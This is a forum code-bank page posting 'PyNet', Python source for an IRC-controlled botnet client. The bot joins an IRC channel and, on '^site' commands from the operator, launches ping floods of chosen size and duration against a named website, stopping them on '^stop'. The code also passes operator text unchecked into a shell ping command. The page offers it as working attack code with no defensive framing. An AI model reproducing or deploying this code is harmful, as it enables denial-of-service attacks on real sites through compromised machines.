Welcome to HBH! If you have tried to register and didn't get a verification email, please using the following link to resend the verification email.

PyNet - Python Code Bank


PyNet
This is the full un-commented code for the botnet article I submitted. If it doesn't get approved, I'll post a commented version to explain whats going on.
                #-------------------------------------------------------------------------------
# Name:        PyNet
# Purpose:     IRC BotNet concept
#
# Author:      techb
#
# Created:     04/05/2010
# Copyright:   (c) techb 2010
#-------------------------------------------------------------------------------
#!/usr/bin/env python

import socket, random, subprocess

place = 'irc.irc_website_here.com' 
port = 6667 
chan = 'channel_name_here' 

#IRC class
#This class has a method for connecting to the IRC server
#It also has a method for reading the socket data
#usage:
#  instnce = irc()
#  ircSocket = instnce.cnct('irc.mibbit.com',6667,'testchannel')
#  bufStrng = instnce.readBuffer(ircSocket, True)
class irc:
    
    def __init__(self):
        pass

    def cnct(self, site, port, channel):
        self.irc_site = site
        self.site_channel = channel
        self.irc_port = port
        self.s = socket.socket()
        self.s.connect((site,port))
        self.s.send("NICK TechBot%d\r\n" %  random.randint(1,1000)) 
        self.s.send("USER %s %s Tech :%s\r\n" % ("Ohlook"+str(random.randint(1,1000)),
                                               "itsnotmy"+str(random.randint(1,1000)),
                                               "Realname"+str(random.randint(1,1000))))
        return self.s 

    def readBuff(self, s, c):
        self.data = s.recv(1024)
        check = self.data.split(':') 
        if 'PING' in self.data:
            print "pinged"
            s.send("PONG :%s" % check[1])
            if c :
                s.send("JOIN #%s\r\n" % chan)
        return self.data

#Ping function
#syntax:^site :www.website_to_attack.com :number of echos/u :size
#example (u is equal to unlimited, hence the -t flag):
#<TechBUser>:^site :www.google.com :u :64
def PingSite(site,cnt,size):
    if cnt == 'u':
        rnt = subprocess.Popen("ping -t -l %s %s" % (str(size), str(site)))
        return rnt
    else:
        rnt = subprocess.Popen("ping -n %s -l %s %s" % (str(cnt), str(size), str(site)))
        return rnt

def main():
    test = irc() 
    so = test.cnct(place, port, chan)
    while 1:
        if test:
            buf = test.readBuff(so,True) 
            if "^site " in buf:
                da = buf.split(':') 
                if len(da) != 6:
                    so.send("PRIVMSG #%s :syntax--->site :website :count/u :size\r\n" % chan)
                    continue
                atbList = [] 
                for i in da[3:]:
                    atbList.append(i.strip())
                th = PingSite(atbList[0], atbList[1], atbList[2])

            if "^stop" in buf:
                if not th.poll():
                    th.kill()
                else: print "already stopped"

if __name__ == "__main__":
    main()
            
Comments
Sorry but there are no comments to display